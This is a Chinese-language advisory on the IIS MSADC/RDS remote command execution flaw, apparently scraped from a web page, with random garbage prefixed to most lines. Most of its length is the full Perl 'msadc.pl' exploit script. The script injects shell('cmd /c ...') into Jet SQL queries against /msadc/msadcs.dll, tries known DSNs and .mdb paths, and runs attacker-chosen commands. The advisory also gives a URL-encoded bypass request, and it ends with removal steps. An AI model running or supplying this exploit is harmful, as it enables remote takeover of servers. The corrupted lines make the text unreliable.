IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
HIGq%m=-x 4ww]9J 涉及程序:
gx03xPeu Microsoft NT server
G Ejd7s]C Ov-b:lH 描述:
4$/i%B#ad 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
2RF^s.W 2M)]!lYy 详细:
obK*rdg, 如果你没有时间读详细内容的话,就删除:
/2{5; c:\Program Files\Common Files\System\Msadc\msadcs.dll
Z3;!l 有关的安全问题就没有了。
FtufuL?JS <?D[9Mk$ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
wn>edn vN4Qdpdb 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
&)i|$J 2. 关于利用ODBC远程漏洞的描述,请参看:
<)g8yA VHOfaCE http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm #X:
'aj98 P+MA*: 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
=k3!RW' http://www.microsoft.com/security/bulletins/MS99-025faq.asp hA 3HVP_ j4FeSGa 这里不再论述。
L_Q#(in &"_u}I&\ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
MyJ4><oG $&|y<Y= /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
f:zFFpP.j@ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
C\_zdADUb% TUL_TR 2c<&eX8" #将下面这段保存为txt文件,然后: "perl -x 文件名"
jk\ dG16 2)?(R;$, #!perl
h:XzUxL\ #
)oo~m\` # MSADC/RDS 'usage' (aka exploit) script
[LT^sb #
d-bqL:/ # by rain.forest.puppy
O#nR>1h #
&m3.h!dq # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
8 9{HJ9} # beta test and find errors!
A]`El8_t" ;vhyhP.oM use Socket; use Getopt::Std;
D0Z\Vvy getopts("e:vd:h:XR", \%args);
tC8(XMVx 3<|`0pt} print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
+c:3o* iK;dU2h if (!defined $args{h} && !defined $args{R}) {
B bhfG64 print qq~
U]qav,^[ Usage: msadc.pl -h <host> { -d <delay> -X -v }
v/uO&iQw5 -h <host> = host you want to scan (ip or domain)
|1Dc!V'?" -d <seconds> = delay between calls, default 1 second
^Yr0@pE -X = dump Index Server path table, if available
3[p_!eoW -v = verbose
sKLX [l -e = external dictionary file for step 5
Vi!Q 3zuF{Q2P< Or a -R will resume a command session
>-T`0wI h*0S$p<[1 ~; exit;}
MgnM,95 >Sk[vI0Y $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
k1z$e*u&r if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
VvByHcLv if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
^s7,_!.Pq if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
2J;`m_oP $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
&zL#hBE if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
4kp im ,zcQS-e2 if (!defined $args{R}){ $ret = &has_msadc;
UIJx* die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
5FvOznK^e qOCJT Og7 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
&0N<ofYX . "cmd /c ";
`znB7VQ0 $in=<STDIN>; chomp $in;
OL59e%X $command="cmd /c " . $in ;
i;\s.wrzH p?(L'q"WK if (defined $args{R}) {&load; exit;}
&znH!AQ0 Z{-Lc68 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
]*"s\ix &try_btcustmr;
ClW'W#*(Y x
FJg print "\nStep 2: Trying to make our own DSN...";
!&kL9A). &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
hi{%pi&!T huFz97?y( print "\nStep 3: Trying known DSNs...";
db=$zIB[: &known_dsn;
9pWy"h$H :LJ7ru2 print "\nStep 4: Trying known .mdbs...";
|fsm8t<~8 &known_mdb;
8"'x)y H(u+#PIIw if (defined $args{e}){
;uI~BV*3 print "\nStep 5: Trying dictionary of DSN names...";
jjOgG-Q &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
j28 _HhT ucYkxi`x print "Sorry Charley...maybe next time?\n";
hAR?
t5c exit;
Os),;W0w4 V}8$p8#<@ ##############################################################################
Bl.u=I:Y4 U)jUq_LX sub sendraw { # ripped and modded from whisker
_]#klL sleep($delay); # it's a DoS on the server! At least on mine...
=6nD0i9+ my ($pstr)=@_;
8m=Z|"H@ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
u4'z$>B die("Socket problems\n");
*DeTqO65 if(connect(S,pack "SnA4x8",2,80,$target)){
HB&
& select(S); $|=1;
<)m%*9{ print $pstr; my @in=<S>;
Iq'O select(STDOUT); close(S);
,4F,:w return @in;
X33v:9= } else { die("Can't connect...\n"); }}
N{akg90 HQVh+ ( ##############################################################################
7Ur?ep iv%w!3# sub make_header { # make the HTTP request
,\ldz(D?+ my $msadc=<<EOT
w8M2N]&: POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
SBKeb|H8 User-Agent: ACTIVEDATA
y>o>WN<q Host: $ip
$%qg" Content-Length: $clen
E{^^^"z P Connection: Keep-Alive
E:A!wS`" IhonnLLW ADCClientVersion:01.06
H3FW52pjX Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Z[#IfbYt Ueyw;Y --!ADM!ROX!YOUR!WORLD!
n[k1np$7?6 Content-Type: application/x-varg
?T*";_o,B Content-Length: $reqlen
XF,<i1ZlM )q^ Bj$ EOT
P;91~``b- ; $msadc=~s/\n/\r\n/g;
f@z*3I; return $msadc;}
-zfoRU v D&{
*AH%Q ##############################################################################
D5A=,\uk 0Qd%iP)6 sub make_req { # make the RDS request
Cw1(5 my ($switch, $p1, $p2)=@_;
3{J.xWB@: my $req=""; my $t1, $t2, $query, $dsn;
Dx+K+( =&U`9qN if ($switch==1){ # this is the btcustmr.mdb query
|qUrEGjiSS $query="Select * from Customers where City=" . make_shell();
mN1Ssq"B $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
+uQB
rG $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
|HbEk[?^s *Z kss elsif ($switch==2){ # this is general make table query
rY70^<z $query="create table AZZ (B int, C varchar(10))";
?b$3ob" $dsn="$p1";}
=Sxol>?t !Tfij(91 elsif ($switch==3){ # this is general exploit table query
F>Jg~ FD* $query="select * from AZZ where C=" . make_shell();
iBbbr, $dsn="$p1";}
!oMt_k X MV936 elsif ($switch==4){ # attempt to hork file info from index server
0-xCp ~vE $query="select path from scope()";
s44iEh=V(I $dsn="Provider=MSIDXS;";}
#ooc)), k/`i6%F#m elsif ($switch==5){ # bad query
<MZi<Z` $query="select";
'U)8rR $dsn="$p1";}
:m`/Q_y" %g^"] $t1= make_unicode($query);
sbla`6Fb $t2= make_unicode($dsn);
rihlae5Kz $req = "\x02\x00\x03\x00";
tV`&-H $req.= "\x08\x00" . pack ("S1", length($t1));
Pz473d $req.= "\x00\x00" . $t1 ;
{'~sS $req.= "\x08\x00" . pack ("S1", length($t2));
'j79GC0 $req.= "\x00\x00" . $t2 ;
%W;u}` $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
c^S&F9/U* return $req;}
Es;;t83p \3^Pjx ##############################################################################
I'IB_YRL4 4
X`^{~ sub make_shell { # this makes the shell() statement
<-)9>c:k return "'|shell(\"$command\")|'";}
:kp0EiJ T-P@u-DU ##############################################################################
T
T"3^@ 8XbR sub make_unicode { # quick little function to convert to unicode
2LhE]O(_" my ($in)=@_; my $out;
QkX@QQT? for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Kym:J \}9B return $out;}
37>MJ lIq~~cv) ##############################################################################
O,9X8$5H-a G%OpO.Wf sub rdo_success { # checks for RDO return success (this is kludge)
k+\7B}7F my (@in) = @_; my $base=content_start(@in);
q3\!$IM. if($in[$base]=~/multipart\/mixed/){
*/U$sZQ) return 1 if( $in[$base+10]=~/^\x09\x00/ );}
6y@<?08Q return 0;}
iEhDaC[e(b {HuLuP0t ##############################################################################
@,vv\M0)p OK\]*r sub make_dsn { # this makes a DSN for us
#NF+UJYJ&' my @drives=("c","d","e","f");
# U`&jBU print "\nMaking DSN: ";
}#YQg0( foreach $drive (@drives) {
r5)f82pQ print "$drive: ";
\UQ],+H my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
@Z2/9K%1' "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
XI
g|G}i. . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
4~WlP,,M $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
jr1Se9u D return 0 if $2 eq "404"; # not found/doesn't exist
b-b;7a\N if($2 eq "200") {
wea\8[U3" foreach $line (@results) {
+~:0Dxv W return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
N7B}O*; } return 0;}
!:J<pWN" qS82/e)7 ##############################################################################
M=Is9)y ddMM74 sub verify_exists {
p;ZDpR my ($page)=@_;
D[W}[r my @results=sendraw("GET $page HTTP/1.0\n\n");
2$Y3[$ return $results[0];}
h>Rpb#] )fR1n}# ##############################################################################
SD I,M CU !.!cZ{ sub try_btcustmr {
%#Q
#N,fw my @drives=("c","d","e","f");
7eH@n<]Y2 my @dirs=("winnt","winnt35","winnt351","win","windows");
QQ|9>QP ;S=e%:zb foreach $dir (@dirs) {
A'v[SUW'm print "$dir -> "; # fun status so you can see progress
{q2<KRU2+# foreach $drive (@drives) {
Px#4pmz print "$drive: "; # ditto
Sh47c4{ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
%>]#vQ| $reqlenlen=length( "$reqlen" );
=z%s8D2 $clen= 206 + $reqlenlen + $reqlen;
@f'AWeJ2 ;@O(z*14@ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
P#9-bYNU if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
JgZdS-~ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
"U{mMd!9L +{bh ##############################################################################
gU*I;s> [ 1D)$" sub odbc_error {
A'(k
Yc my (@in)=@_; my $base;
vev8l\ my $base = content_start(@in);
:if5z2PE/ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
!j'guT&9] $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
l?N`V2SuR $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
o}W7.7^2 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
L/%xbm~ return $in[$base+4].$in[$base+5].$in[$base+6];}
C890+(D~ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
~M(pCSJ[ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
P:vX }V |[ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
.;}pU!S~R JG1LS$p^ ##############################################################################
;W =by2x* 3pzOt&T|w sub verbose {
_4De!q0( my ($in)=@_;
lHRK'?Q return if !$verbose;
0$(jBnE print STDOUT "\n$in\n";}
4>d[qr*< A'w2GC{. ##############################################################################
5"]aZMua DOA[iT";4 sub save {
HJ(=?TU my ($p1, $p2, $p3, $p4)=@_;
|O'Hh7 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
ec,z6v^9 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
P}b Dn; close OUT;}
\>_eEZ5 &s_}u%iC ##############################################################################
96k(XLR @)8NI[=6O sub load {
ROcY'- my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
VdYOm open(IN,"<rds.save") || die("Couldn't open rds.save\n");
+# A|Zp< @p=<IN>; close(IN);
jh-kCF $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
mRNHq3 $target= inet_aton($ip) || die("inet_aton problems");
X@G[=Rs print "Resuming to $ip ...";
ZO]E@?Oav $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
)E_!rR if($p[1]==1) {
sVNo\ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
</~1p~=hAt $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
!G@V<'F my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
p` ^:Q*C" if (rdo_success(@results)){print "Success!\n";}
:Fq2x_IUE else { print "failed\n"; verbose(odbc_error(@results));}}
vjY);aQ elsif ($p[1]==3){
}qTv&Z3$ if(run_query("$p[3]")){
k$Nx6?8E print "Success!\n";} else { print "failed\n"; }}
h/w] elsif ($p[1]==4){
sT@u3^> if(run_query($drvst . "$p[3]")){
(gv=P>: print "Success!\n"; } else { print "failed\n"; }}
<;.}WQC exit;}
*
N2#{eF&] * ,|)~$=> ##############################################################################
nau~i1 BNF++<s sub create_table {
s2kGU^]y my ($in)=@_;
P DNt4=C $reqlen=length( make_req(2,$in,"") ) - 28;
vWZ>Hf]`L $reqlenlen=length( "$reqlen" );
m3 x!*9h $clen= 206 + $reqlenlen + $reqlen;
@|JPE%T my @results=sendraw(make_header() . make_req(2,$in,""));
)[F46?$vrk return 1 if rdo_success(@results);
L2do2_ my $temp= odbc_error(@results); verbose($temp);
1ZGQhjcx return 1 if $temp=~/Table 'AZZ' already exists/;
Z%(Df3~gmm return 0;}
jTGS6{E !:R^}pMhIk ##############################################################################
lU>)n ci#Zvhtkr sub known_dsn {
i&?
78+: # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
S8rW'}XJ=H my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
89?3,k "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
`XFX`1 "banner", "banners", "ads", "ADCDemo", "ADCTest");
~{kA) : Uj
y6vgU; foreach $dSn (@dsns) {
F=P+;%. print ".";
`Nxo0Q next if (!is_access("DSN=$dSn"));
Ej9/_0lt if(create_table("DSN=$dSn")){
W\ZV0T;<] print "$dSn successful\n";
AiR%MD if(run_query("DSN=$dSn")){
c=uBT K* print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Zi15wE print "Something's borked. Use verbose next time\n";}}} print "\n";}
u k>q\j KR+ aY. ##############################################################################
7l4InR] |~1rKzZwF
sub is_access {
5+#?7J1 my ($in)=@_;
10a=YG $reqlen=length( make_req(5,$in,"") ) - 28;
"1=.5:yG $reqlenlen=length( "$reqlen" );
D~t"9Z\ $clen= 206 + $reqlenlen + $reqlen;
E#WjoIk my @results=sendraw(make_header() . make_req(5,$in,""));
!ds"88:5^ my $temp= odbc_error(@results);
1VPfa verbose($temp); return 1 if ($temp=~/Microsoft Access/);
:d:|7hlNQ return 0;}
Y:#kel< ~`W6O> ##############################################################################
%m0L!|E #Q!c42}M sub run_query {
0|qx/xo|- my ($in)=@_;
]-+.lR%vd9 $reqlen=length( make_req(3,$in,"") ) - 28;
&9GR2GY $reqlenlen=length( "$reqlen" );
[7ek;d;'t $clen= 206 + $reqlenlen + $reqlen;
h|Teh-@A5 my @results=sendraw(make_header() . make_req(3,$in,""));
_
cHV3cz return 1 if rdo_success(@results);
Dg];(c+/ my $temp= odbc_error(@results); verbose($temp);
`i_L?C7 return 0;}
h<!khWFS /I`!iK ##############################################################################
-hJ>wGI HquB*=^xh sub known_mdb {
nATfmUN
L my @drives=("c","d","e","f","g");
\I`=JKYT my @dirs=("winnt","winnt35","winnt351","win","windows");
6>P my $dir, $drive, $mdb;
8{U]ATx'( my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
!Barc,kA C$]%1<-Iv] # this is sparse, because I don't know of many
,sQ0atk7ma my @sysmdbs=( "\\catroot\\icatalog.mdb",
U- U V<} "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
2rE~V.)% "\\system32\\certmdb.mdb",
H8Z Z@@ qm "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
{O3oUE+ yScov)dp( my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
.,BD D PFB "\\cfusion\\cfapps\\forums\\forums_.mdb",
0'`8HP "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
iMY0xf8l "\\cfusion\\cfapps\\security\\realm_.mdb",
u"
NIG "\\cfusion\\cfapps\\security\\data\\realm.mdb",
+h9l%Pz "\\cfusion\\database\\cfexamples.mdb",
+X|m>9 "\\cfusion\\database\\cfsnippets.mdb",
Wvzzjcr(j "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
HK,G8:T "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
]R3pBC"Jv "\\cfusion\\brighttiger\\database\\cleam.mdb",
v1tN
DyM6 "\\cfusion\\database\\smpolicy.mdb",
9^[5!SMzCj "\\cfusion\\database\cypress.mdb",
0;m$a= "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
y9l.i@-
"\\website\\cgi-win\\dbsample.mdb",
h(N9RJ} "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
J=Y( *D7Q "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
[?K\%] ); #these are just
]oWZ{#r2 foreach $drive (@drives) {
{"@b` foreach $dir (@dirs){
#|*,zIYo foreach $mdb (@sysmdbs) {
Q i'WV9ke print ".";
,VcDvZ7 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
^:rNoo print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
GJl@ag5h]! if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
+8@`lDnr print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
O%Gsk'mo } else { print "Something's borked. Use verbose next time\n"; }}}}}
lXL7q?,9 "8iyMP%8 foreach $drive (@drives) {
|?t8M9[Z foreach $mdb (@mdbs) {
{dr&46$p print ".";
zL!~,B8C if(create_table($drv . $drive . $dir . $mdb)){
=='{[[J print "\n" . $drive . $dir . $mdb . " successful\n";
ff5
Lwf{{ if(run_query($drv . $drive . $dir . $mdb)){
i4n%EDQ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
?M{6U[? } else { print "Something's borked. Use verbose next time\n"; }}}}
{J6sM$aj }
^TCJh^4na j[=_1~u} ##############################################################################
y:6'&`L _)Z7Le:f! sub hork_idx {
:Kc0ak)<n print "\nAttempting to dump Index Server tables...\n";
;h(;( print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
.0*CT:1=0 $reqlen=length( make_req(4,"","") ) - 28;
GPqB\bxb' $reqlenlen=length( "$reqlen" );
A(@gv8e[H^ $clen= 206 + $reqlenlen + $reqlen;
UEYM;$_@4o my @results=sendraw2(make_header() . make_req(4,"",""));
EwBN+v;) if (rdo_success(@results)){
=rO>b{,hs my $max=@results; my $c; my %d;
o:Os_NaD for($c=19; $c<$max; $c++){
{@F["YPxy $results[$c]=~s/\x00//g;
5`{;hFl $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
rj f=qh5s $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
BnnUUaE $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
q?]@' ^:; $d{"$1$2"}="";}
)D-.7m.v] foreach $c (keys %d){ print "$c\n"; }
_>)"+z^r } else {print "Index server doesn't seem to be installed.\n"; }}
cZX&itVc: bZlLivi ##############################################################################
1S.e5{ 2Q'XB sub dsn_dict {
08n%%
F open(IN, "<$args{e}") || die("Can't open external dictionary\n");
P)j9\ muc while(<IN>){
z hm!sMlO $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
MfpWow-#{ next if (!is_access("DSN=$dSn"));
C.e|VzQa if(create_table("DSN=$dSn")){
%LZM5Z^ print "$dSn successful\n";
Xgth|C}k if(run_query("DSN=$dSn")){
F@(}=w^(A print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
YU0HySP: print "Something's borked. Use verbose next time\n";}}}
a=T7w;\h print "\n"; close(IN);}
0}7Rm> ci NTYow ##############################################################################
{F9Qy0.*u }br<2?y, sub sendraw2 { # ripped and modded from whisker
o/[yA3^ sleep($delay); # it's a DoS on the server! At least on mine...
wj5s5dH my ($pstr)=@_;
T]Td4T! socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
qsRfG~Cg die("Socket problems\n");
"91Atb;hJ if(connect(S,pack "SnA4x8",2,80,$target)){
3!w>"h0( print "Connected. Getting data";
@`+$d=rO` open(OUT,">raw.out"); my @in;
gsq[ 9 select(S); $|=1; print $pstr;
f(MHU while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
LOG*K;v3 close(OUT); select(STDOUT); close(S); return @in;
]4Yb$e` } else { die("Can't connect...\n"); }}
?$&rC0t <l
s/3! ##############################################################################
>W]"a3E -:p1gg& sub content_start { # this will take in the server headers
+PXfr~ 4 my (@in)=@_; my $c;
86 /i~s for ($c=1;$c<500;$c++) {
ieLN;)Iy^ if($in[$c] =~/^\x0d\x0a/){
c&?H8G)x if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
GZ[h`FJg/ else { return $c+1; }}}
E=~WQ13Q return -1;} # it should never get here actually
4k?JxA) `lh?Z3W ##############################################################################
K]*ERAfM%m !J(,M)p! sub funky {
ITqigGan% my (@in)=@_; my $error=odbc_error(@in);
bme#G{[)Y if($error=~/ADO could not find the specified provider/){
<21^{ yt1 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
`*9FKs exit;}
*_rGBW if($error=~/A Handler is required/){
M~Dc5\T print "\nServer has custom handler filters (they most likely are patched)\n";
f#Oz("d exit;}
Q/`o6xv if($error=~/specified Handler has denied Access/){
1xV1#'@[Jd print "\nServer has custom handler filters (they most likely are patched)\n";
ef;="N exit;}}
'xI+kyu c Yn}we}7 ##############################################################################
N6
(w<b k)' z<EL6c sub has_msadc {
CIvT5^} my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
7Bd_/A($ my $base=content_start(@results);
kL2sJX+ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
:+^llz return 0;}
>b](v) I[IQFka} ########################
OL"5A18;M <l/Qf[V s/0FSv
x 解决方案:
>:nJTr 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
R:m=HS_ 2、移除web 目录: /msadc